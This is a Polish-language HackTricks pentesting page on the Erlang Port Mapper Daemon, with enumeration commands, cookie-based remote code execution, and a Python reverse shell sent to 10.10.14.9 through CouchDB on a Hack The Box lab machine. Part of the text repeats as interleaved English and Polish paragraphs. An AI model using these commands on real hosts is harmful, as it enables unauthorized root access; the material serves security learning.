4369 - Pentesting Erlang Port Mapper Daemon (epmd)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Erlang Port Mapper Daemon (epmd) pełni rolę koordynatora dla rozproszonych instancji Erlanga. Jest odpowiedzialny za mapowanie symbolicznych nazw węzłów na adresy maszyn, zapewniając, że każda nazwa węzła jest skojarzona z określonym adresem. Rola epmd jest kluczowa dla płynnej interakcji i komunikacji między różnymi węzłami Erlanga w sieci.

Domyślny port: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

To jest domyślnie używane w instalacjach RabbitMQ i CouchDB.

Wyliczanie

Ręczne

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatyczne

Introduction

Wprowadzenie

The Erlang Port Mapper Daemon (EPMD) is a network service that runs on the Erlang runtime system. It is responsible for managing the distribution of Erlang nodes on a network. EPMD listens on port 4369 by default and allows nodes to register and discover each other.

Erlang Port Mapper Daemon (EPMD) to usługa sieciowa działająca na systemie uruchomieniowym Erlang. Odpowiada za zarządzanie dystrybucją węzłów Erlang w sieci. EPMD nasłuchuje na domyślnym porcie 4369 i umożliwia rejestrację i odkrywanie węzłów.

Automatic Discovery

Automatyczne odkrywanie

One of the key features of EPMD is its ability to automatically discover Erlang nodes on a network. This feature is particularly useful in distributed Erlang systems where nodes need to communicate with each other.

Jedną z kluczowych cech EPMD jest jego zdolność do automatycznego odkrywania węzłów Erlang w sieci. Ta funkcja jest szczególnie przydatna w rozproszonych systemach Erlang, gdzie węzły muszą komunikować się między sobą.

When a new Erlang node starts, it can register itself with EPMD by sending a registration request to the EPMD server. The EPMD server then assigns a unique port number to the node and adds it to its registry. Other nodes can discover this new node by querying the EPMD server.

Gdy nowy węzeł Erlang zostaje uruchomiony, może zarejestrować się w EPMD, wysyłając żądanie rejestracji do serwera EPMD. Serwer EPMD przypisuje węzłowi unikalny numer portu i dodaje go do swojego rejestru. Inne węzły mogą odkryć ten nowy węzeł, pytając serwer EPMD.

Conclusion

Podsumowanie

EPMD plays a crucial role in managing the distribution of Erlang nodes on a network. Its automatic discovery feature simplifies the process of node registration and allows nodes to easily communicate with each other in distributed Erlang systems.

EPMD odgrywa kluczową rolę w zarządzaniu dystrybucją węzłów Erlang w sieci. Jego funkcja automatycznego odkrywania upraszcza proces rejestracji węzłów i umożliwia łatwą komunikację między nimi w rozproszonych systemach Erlang.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Remote Connection

Jeśli uda ci się ujawnić ciasteczko uwierzytelniające, będziesz mógł wykonać kod na hoście. Zazwyczaj ciasteczko to znajduje się w ~/.erlang.cookie i jest generowane przez Erlang przy pierwszym uruchomieniu. Jeśli nie jest zmieniane lub ustawiane ręcznie, jest to losowy ciąg [A:Z] o długości 20 znaków.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Więcej informacji na https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ Autor udostępnia również program do bruteforce'owania ciasteczka:

Lokalne połączenie

W tym przypadku zamierzamy wykorzystać CouchDB do eskalacji uprawnień lokalnie:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Przykład zaczerpnięty z https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution Możesz użyć maszyny Canape HTB do ćwiczenia, jak wykorzystać tę podatność.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "na porcie"

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated